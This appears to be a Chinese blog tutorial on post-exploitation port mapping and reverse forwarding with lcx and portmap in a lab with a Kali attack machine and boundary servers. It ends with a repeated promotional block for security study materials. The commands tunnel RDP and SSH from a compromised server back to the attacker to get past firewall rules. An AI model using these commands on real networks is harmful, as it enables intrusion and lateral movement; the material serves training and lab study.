实验环境
kali(攻击机,外网地址:192.168.8.48)
Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)
CentOS7(边界服务器,外网地址:192.168.8.13,内网地址:10.1.1.13)
Windows2012(DC,内网地址:10.1.1.2)
1 下载与部署
下载地址:https://github.com/AA8j/SecTools/tree/main/lcx
注意:Linux下为portmap。
2 使用方法
2.1 本地端口映射
假如此时已经拿到了边界服务器的权限,但是由于防火墙策略限制导致3389端口无法出网,此时可以将此端口映射到可以出网的端口。
2.1.1 边界服务器为Windows的情况
Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)
lcx -tran 53 192.168.8.56 3389
效果演示
此时远程桌面连接192.168.8.56的53端口即可:
此时会有数据日志:
2.1.2 边界服务器为Linux的情况
使用ssh端口转发更方便。在应用层隧道会讲到。
2.2 本地端口转发
假如此时已经拿到了边界服务器Windows2012的权限,但是由于防火墙限制,进网端口被限制,但可以出网,此时就可以将边界服务器的端口转发到kali上,然后访问kali的端口。
2.2.1 边界服务器为Windows的情况
kali(攻击机,外网地址:192.168.8.48)
./portmap -m 2 -p1 4444 -h2 127.0.0.1 -p2 3389
./portmap -m 2 -p1 4444(本机监听端口) -h2 127.0.0.1(转发到目的IP) -p2 3389(转发到目的端口)
# 表示监听本机的4444端口,并转发到127.0.0.1的3389端口。
m的参数说明:
1.监听port1 (p1)端口并且连接主机2(h2)的port2(p2) 端口
2.监听port1(p1)和port2(p2) 端口
3.连接主机1(h1)对应的端口和主机2(h2)对应的端口
Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)
lcx.exe -slave 192.168.8.48 4444 127.0.0.1 3389
lcx.exe -slave 192.168.8.48(转发到目的IP) 4444(转发到目的端口) 127.0.0.1 3389(转发的本地端口)
# 表示将本地的3389端口转发到192.168.8.48的4444端口
效果演示
此时通道就已经打通了,远程桌面连接kali(192.168.8.48)即会连接到内网的Windows2012。
此时两端都会有数据日志显示:
2.2.2 边界服务器为Linux的情况
kali(攻击机,外网地址:192.168.8.48)
./portmap -m 2 -p1 4444 -h2 127.0.0.1 -p2 222
./portmap -m 2 -p1 4444(本机监听端口) -h2 127.0.0.1(转发到目的IP) -p2 222(转发到目的端口)
# 表示监听本机的4444端口,并转发到127.0.0.1的222端口。
## 最后
**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/40865938e04afa8253337b599f3badd8.png)
![img](https://img-blog.csdnimg.cn/img_convert/f41bfa00e816b2954c2b3356991153ea.png)
![img](https://img-blog.csdnimg.cn/img_convert/6e11cf36991d3f28cc41eabe830638f8.png)
![img](https://img-blog.csdnimg.cn/img_convert/c783b58f76383bfd60e8dea434e9298c.png)
![img](https://img-blog.csdnimg.cn/img_convert/18288f91415b2910a78bdaace903b3af.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**
**
[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**